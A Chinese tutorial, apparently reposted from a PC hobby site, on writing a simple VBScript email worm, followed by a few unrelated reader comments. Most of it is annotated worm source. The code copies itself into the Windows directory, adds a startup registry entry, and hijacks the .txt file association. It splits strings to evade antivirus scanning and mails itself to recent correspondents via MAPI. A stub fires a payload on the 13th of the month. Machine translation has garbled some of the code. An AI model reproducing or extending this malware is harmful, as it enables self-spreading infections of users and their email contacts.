
如何编写VBS蠕虫
摘要:本文重点介绍如何编写简单的VBS蠕虫,并介绍一些与VBS相关的知识。
关键字:VBS蠕虫对象
第0部分:写在前面
写蠕虫摧毁它不是目的,技术本身就是目的。
本文仅用于技术介绍和讨论。
第1部分:蠕虫和传统病毒的区别
当我打算撰写本文时,我上网查找了一些信息。根据习惯,要编写主题,必须首先定义所写内容,即蠕虫。有趣的是,我在互联网上看到了一些不同的看法。
我看到的第一件事是在Kingsoft Internet Security网站上的一篇文章写道:计算机蠕虫是一个自包含的程序(或一组程序),可以将其自身功能或其中某些部分的副本传播到其他(通常通过网络连接);请注意,蠕虫与病毒不同,不需要将其自身附加到主机程序。然后我看到了新浪的一篇文章:据有关专家介绍,蠕虫是一种计算机病毒。它的传输机制是使用Internet复制和传播,而传输方式是通过Internet和电子邮件。
很显然,前一篇文章认为蠕虫不是病毒,而后者则认为蠕虫是一种病毒。我不是书呆子,也不想花太多时间在概念上。但是,这两种观点之间的差异无疑显示出一件事:蠕虫(只是一个名字,并没有真正算作病毒)和传统的或更多种病毒已经存在。完全不同。
根据我的经验,以脚本为代表的蠕虫至少在三个方面与传统病毒不同。首先是写作困难。在传统意义上,病毒会附加到其他正常程序中,即存在一个宿主程序,该程序需要编写病毒并且非常熟悉PE格式。相比之下,蠕虫病毒更容易编写,甚至可以编写特殊的脚本病毒程序。第二是传染性增加。蠕虫随着Internet的发展而传播。在互联网的帮助下,蠕虫的传染性远远超出了传统病毒的范围。最后,删除病毒相对容易。以脚本病毒为代表的蠕虫病毒的源代码对于获取非常有用,即使将其加密也无法获取源代码。许多著名的蠕虫(如欢乐时光)均未加密。
以上特征对于那些反病毒软件公司来说无疑是个好消息。蠕虫的扩散为它们提供了巨大的客户基础,并且易于访问源代码使它们更容易杀死病毒。
第2部分:知识准备
由于本文介绍了如何使用VBS编写病毒,因此在正式提供代码之前有必要准备一些知识。在这一部分,我将介绍一些对象或组件,这些对象或组件将在以后提供的代码中使用,关于病毒的结构分析,我将在提供源代码之后进行处理。
在WSH支持的所有对象中,您会发现FileSystemObject(FileSystemObject)最有用。在VBS中,只需一行SetFso = Createobject(“ Scripting.FileSystemObject”)来邀请它成为一个好助手。它简要介绍了它支持的一些方法。 FileExsits()用于判断文件是否存在,如果存在则返回True,否则返回False;否则返回false。 GetSpecialFolder()可以根据不同的参数获取一些与系统相关的目录,例如GetSpecialFolder(0)返回Windows目录; GetFile是文件系统中的对象,返回文件中的文件; Copy实现文件的副本。
Shell对象也是非常有用的东西。它的RegRead和RegWrite方法可以实现对注册表的直接读取和写入。方向对象等效于PERL关联数组,该对象存储数据键和项对。该项目可以是任何形式的数据,并存储在数组中。每个项目都与唯一键相关联。该键用于获取单个项,通常是整数或字符串,但也可以是数组以外的任何类型。例如:
Dim d'创建一个变量。
设置d = CreateObject(“ Scripting.Dictionary”)
d。添加“ a”,“雅典”“添加一些关键字和项目。
d。添加“ b”,“贝尔格莱德”
d。添加“ c”,“开罗”
最后要介绍的是MAPISession对象和MAPIMessages对象。这两个对象用于获取当前OE配置文件并通过以下代码发送电子邮件。 MAPISession对象用于登录和建立MAPI会话,也可以用于退出MAPI会话。 MAPIMessages对象可以轻松发送,接收和管理消息(即电子邮件)。 MAPISession的SignOn方法的作用是将用户登录到UserName和Password属性指定的帐户。在安装OE的计算机上,“用户名”和“密码”实际上是OE中的默认配置。我将在代码中评论MAPIMessages的几个属性。
第3部分:VBS病毒源代码和注释
错误恢复时的下一步”对于避免发生错误时的弹出提示非常重要
Dim Fso,WinPath'WinPath存储系统安装目录
Set Fso = Createobject(“ Scripting。”&“ FileSys”&“ temObject”)'创建FileSystemObject对象
WinPath = GetWindowsPath'获取系统的安装目录

Main'调用主执行子例程
Set Fso = Nothing
次要主要
即时阅读,RegPath
如果Day(Date)= 13 ThenDoSomeBadThings'如果是13日,病毒将爆发
CopySelfToWindowsPath'将您自己复制到系统安装目录
CopyWscriptToSystem32'将Wscript.exe复制到System32目录
ModifyReg'修改注册表
RegPath =“ HKCU \ SoftWare \ Microsoft \”''这里的注册表存储了上次发送电子邮件的日期
Read = ReadReg(RegPath)
IfRead =“” ThenRead =“ 00-1-1”'如果未发送电子邮件
IfDateDiff(“ d”,Read,Date)> = 5然后'如果距离上次发送已超过5天
SendEmail'发送电子邮件
WriteRegRegPath,Date'将此发送日期写入注册表
如果结束
结束子
Sub CopyWscriptToSystem32
'此子例程将Wscript复制到Sytem32目录
“为什么会在后面解释
如果Fso.FileExists(WinPath&“ \ Wscript.exe”)然后
Fso.GetFile(WinPath&“ \ Wscript.exe”)。Copy(WinPath&“ \ System32 \ Wscript.exe”)
'这行代码实际上有两个动作
'首先,执行GetFile方法以获取文件
'然后执行Copy方法将获取的文件复制到指定目录
如果结束
结束子
函数GetWindowsPath()

'此函数获取Windows目录
GetWindowsPath = Fso.GetSPecialFolder(0)
结束功能
Sub CopySelfToWindowsPath()
'此函数将自身复制到Windows目录,并将其命名为Windows.htm.vbs
IfFso.FileExists(WinPath&“ \ Windows.htm.vbs”)然后'如果文件已存在,请不要复制
其他
Fso.GetFile(WScript.ScriptFullname).Copy(WinPath&“ \ Windows.htm.vbs”)
'WScript.ScriptFullname是当前脚本的完整路径和文件名
'将这行代码复制到系统安装目录
如果结束
结束子
子ModifyReg
'修改注册表
DimRegPath
RegPath =“ HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Windows”
WriteRegRegPath,WinPath和“ \ Windows.htm.vbs”'在启动时添加自己
'修改下面的.txt文件关联
RegPath =“ HKCR \ .txt \”
WriteRegRegPath,“ txtfile”
RegPath =“ HKCR \ txtfile \ Shell \ Open \ command \”
WriteRegRegPath,WinPath和“ \ System32 \ WScript.exe”&WinPath&“ \ Windows.htm.vbs”
结束子
Sub WriteReg(Path,value)
'此子例程将值写入注册表的路径
SetOperateReg = WScript.CreateObject(“ WSc”&“ ript.Sh”&“ ell”)'创建Shell对象
OperateReg.RegWritePath,值“写入注册表”

SetOperateReg =没有任何释放对象
结束子
函数ReadReg(Path)
'此函数返回注册表中读取内容的路径
SetOperateReg = WScript.CreateObject(“ WSc”&“ ript.Sh”&“ ell”)
ReadReg = OperateReg.RegRead(Path)
设置OperateReg =什么都没有
结束功能
Sub DoSomeBadThings
“一遍又一遍地思考,但仍未编写这部分破损代码
'一方面,本文仅用于技术讨论
'另一方面,使用文件系统对象,这部分代码实际上很容易编写
结束子
Sub SendEmail()
“用于发送邮件的子例程
Dim Dic,MAPISess,MAPIMess,a,最小,计数
设置Dic = CreateObject(“ Scripting.Dictionary”)
设置MAPISess = CreateObject(“ MSMAPI.MAPISession”)'创建MAPISession对象
设置MAPIMess = CreateObject(“ MSMAPI.MAPIMessages”)'创建MAPIMessages对象
MAPISess.SignOn'登录
MAPIMess.SessionID = MAPISess.SessionID
MAPIMess.Fetch'从收件箱中的选定邮件(Email)创建邮件集合
Count = MAPIMess.MsgCount'已接收消息(电子邮件)的数量
'以下代码实现了对最近5封电子邮件的回复。
如果Count> 5Then Min = Count-5其他Min = 0
对于i = Count-1至Min Step-1
MAPIMess.MsgIndex = i

a = MAPIMess.MsgOrigAddress
IfDic.Item(a)=“”然后
Dic.Item(a)= MAPIMess.MsgSubject
如果结束
下一步
对于每m个骰子键
MAPIMess.Compose'写一条消息
MAPIMess.MsgSubject =“回复:”&Dic.Item(m)'主题
MAPIMess.RecipAddress =收件人地址
MAPIMess.AttachmentPathName = WinPath&“ \ Windows.htm.vbs”'添加附件(即病毒本身)
MAPIMess。发送发送
下一步
MAPISess.SignOff'退出
'作为一种良好的编程习惯,以下代码将释放对象
设置MAPISess = Nothing
设置MAPIMess = Nothing
Set Dic = Nothing
结束子
第4部分:病毒的结构和一些注意事项
该病毒的结构非常清晰,由以下部分组成:1)自我复制部分,即GetWindowsPath()。很简单,无话可说。2)修改注册表部分,即ModifyReg。修改注册表的目的是在计算机启动并且用户尝试打开txt文件时自动运行病毒。3)发送电子邮件的部分,即SendEmail。关于这部分没有什么可说的,病毒将自己放入附件中并发送出去。4)情节部分。正如我在第3部分的代码注释中提到的那样,我没有编写代码,但这是病毒的重要组成部分。
该病毒的运行过程也非常清楚。首先检查是否是13号。如果是,那将会发生;然后检查系统安装目录中是否存在其自身的副本。如果没有,请复制自己;然后修改注册表以确保可以触发病毒,最后检查是上次发送电子邮件的时间。如果超过5天,则将发送一封带有附件副本的电子邮件。
代码中仍有一些令人费解的做法,请在下面说明:
首先查看CopyWscriptToSystem32子例程。该子例程的功能非常简单,它是检查WinPath中是否存在Wscript.exe,如果存在,则将其复制到System32目录中。就是这种情况,Wscript.exe是要运行VBS文件的,
对于Windows 2000和Windows XP系统,此文件位于System32目录中,而Windows98位于系统安装目录中。因此,为了方便起见,如果是Windows 98,请将副本复制到System32。
再次查看ModifyReg:WriteRegRegPath,“ txtfile”。在这里,.txt文件定义为“ txtfile”,目的是以后修改WriteRegRegPath,WinPath和“ \ System32 \ WScript.exe”&WinPath&“ \ Windows.htm.vbs”,因为它确实可以工作可以确保txt在打开文件时会运行病毒。
还有一个类似Set Fso = Createobject(“ Scripting。”&“ FileSys”&“ temObject”)的代码,该字符串分隔并写入字符串,以避免某些防病毒软件进行静态搜索。
最后一个在SendEmail中。为了避免发送过多的电子邮件,仅发送收件箱中最近5封电子邮件的地址。
应该说这是一个非常简单的VBS病毒。由于空间原因,它在很多地方都不是完美的。首先是传染性不够强,仅通过发送电子邮件进行传播,而不会感染本地文件。第二是隐蔽性不足,可以通过普通的防病毒软件轻松检测到。如果允许代码长度更长,我将添加加密;第三,发送电子邮件只能针对OE用户。如果是OL或Foxmail,则此病毒的传播将变得困难。
第5部分:结论
这只是最简单的病毒之一,编写一些真正具有挑战性的病毒需要非常深入的系统和编译基础。俗话说,路漫长。让我们以科技的名义一起努力学习!
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-325292-1.html
康师傅有小日本股份
是不是得发个道歉声明啊
今后从此多事了